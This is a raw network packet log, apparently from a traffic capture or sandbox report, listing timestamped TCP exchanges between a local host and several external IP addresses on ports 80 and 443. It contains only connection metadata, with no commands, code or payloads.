Dec 20, 2024 17:43:40.199611902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.200133085 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.200179100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.200273991 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.200319052 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.200997114 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.201123953 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.201303005 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.201349020 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.201869965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.201915026 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.201967001 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.202012062 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.202806950 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.202851057 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.202940941 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.202987909 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.203661919 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.203706980 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.203830004 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.203874111 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.204531908 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.204909086 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.204957008 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.205475092 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.205519915 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.205568075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.205609083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.206311941 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.206398010 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.206515074 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.206556082 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.207209110 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.207254887 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.207331896 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.207376957 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.208049059 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.208098888 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.208502054 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.208558083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.208966017 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.208980083 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.209017992 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.209031105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.209850073 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.209908009 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.210170031 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.210407019 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.210707903 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.210755110 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.211328030 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.211378098 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.211617947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.211663008 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.212073088 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.212141037 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.212508917 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.212523937 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.212554932 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.212574005 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.213366985 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.213418961 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.213543892 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.213606119 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.214237928 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.214301109 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.214366913 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.214543104 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.218477964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.218535900 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.218580008 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.218624115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.218686104 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.218735933 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.218794107 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.218837023 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.219727039 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.219788074 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.220273018 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.220341921 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.220515013 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.220558882 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.220578909 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.220619917 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.363744020 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.363820076 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.363905907 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.364032030 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.364166975 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.364186049 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.364232063 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.365019083 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.365072966 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.365115881 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.365417004 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.365920067 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.365972042 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.366368055 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.366419077 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.366808891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.366966009 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.367110968 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.367160082 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.367670059 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.367731094 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.368000031 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.368056059 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.368597031 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.368643045 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.368896961 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.368943930 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.369445086 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.369663000 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.369714975 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.370310068 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.370418072 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.370466948 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.371191025 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.371365070 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.371413946 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.372086048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.372147083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.372198105 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.372245073 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.372978926 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.373177052 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.373197079 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.373210907 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.373893023 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.374010086 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.374053955 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.374759912 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.374819994 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.374901056 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.375652075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.375896931 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.375952005 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.376534939 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.376586914 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.377110958 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.377243042 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.377443075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.377489090 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.377652884 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.377727985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.378325939 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.378390074 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.378465891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.378631115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.379301071 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.379447937 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.379882097 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.379930973 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.380043030 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.380424976 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.380651951 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.380928040 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.380975962 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.380986929 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.381812096 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.381853104 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.381870985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.382113934 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.382175922 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.382683992 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.382806063 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.382813931 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.382858992 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.383586884 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.383816004 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.383863926 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.384531021 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.384588003 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.384610891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.384687901 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.385360003 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.385412931 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.385493994 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.385622978 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.386291027 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.386306047 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.386353016 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.386379957 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.387263060 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.387276888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.387326956 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.387965918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.388132095 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.388204098 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.389105082 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.389118910 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.389177084 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.389727116 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.389770985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.389822006 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.390623093 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.390675068 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.390903950 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.391521931 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.391592026 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.391617060 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.392354965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.392399073 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.392529964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.393260956 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.393305063 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.393429995 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.393644094 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.394149065 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.394247055 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.394298077 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.395024061 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.395075083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.395195961 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.395239115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.395946026 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.396007061 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.396070957 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.396244049 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.396771908 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.396819115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.396964073 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.397495985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.397711992 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.397842884 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.397892952 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.398561954 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.398608923 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.398745060 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.398787975 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.399466038 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.399602890 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.399632931 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.399709940 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.400330067 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.400371075 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.400757074 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.401098013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.401185036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.401273966 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.401499033 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.401561022 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.402081966 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.402126074 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.402272940 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.402317047 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.402935028 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:40.402977943 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:40.741115093 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:40.741189003 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:40.743519068 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:40.743530035 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:40.743824005 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:40.758630037 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:40.765105009 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:40.765165091 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:41.281362057 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.281420946 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.317210913 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.317239046 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.317610979 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.318860054 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.319811106 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.319839001 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.319994926 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320020914 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.320092916 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320142984 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.320235014 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320254087 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.320357084 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320384026 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.320496082 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320523024 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.320534945 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320779085 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.320816040 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.329258919 CET	80	49757	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:41.329330921 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:41.367327929 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.367486000 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.367544889 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.367561102 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.415328979 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.415461063 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.415507078 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.415534019 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.463325024 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.463406086 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:41.511332035 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:41.680279016 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:41.680375099 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:41.680486917 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:41.696712017 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:41.696733952 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:41.799809933 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:42.337842941 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:42.337898970 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:42.337996960 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:42.340121031 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:42.340150118 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:42.637803078 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:42.638371944 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:42.757961988 CET	80	49766	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:42.758069038 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:42.758255005 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:42.766735077 CET	80	49741	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:42.767709970 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:42.855875015 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:42.856339931 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:42.877860069 CET	80	49766	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:42.975764036 CET	80	49757	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:42.975961924 CET	49757	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:42.976106882 CET	80	49767	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:42.976166010 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:42.979207039 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:43.099441051 CET	80	49767	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:43.556324959 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:43.556462049 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:43.639301062 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:43.639585018 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:43.639677048 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:43.680943966 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:43.680985928 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:43.681302071 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:43.682708979 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:43.690928936 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:43.690982103 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:43.691056967 CET	49765	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:43.735346079 CET	443	49765	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:43.784487963 CET	49758	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:43.784523010 CET	443	49758	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:43.794816971 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:43.794856071 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:43.794917107 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:43.795401096 CET	49768	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:43.795413017 CET	443	49768	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:44.101284027 CET	80	49766	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:44.101335049 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:44.107049942 CET	49745	80	192.168.2.6	31.41.244.11
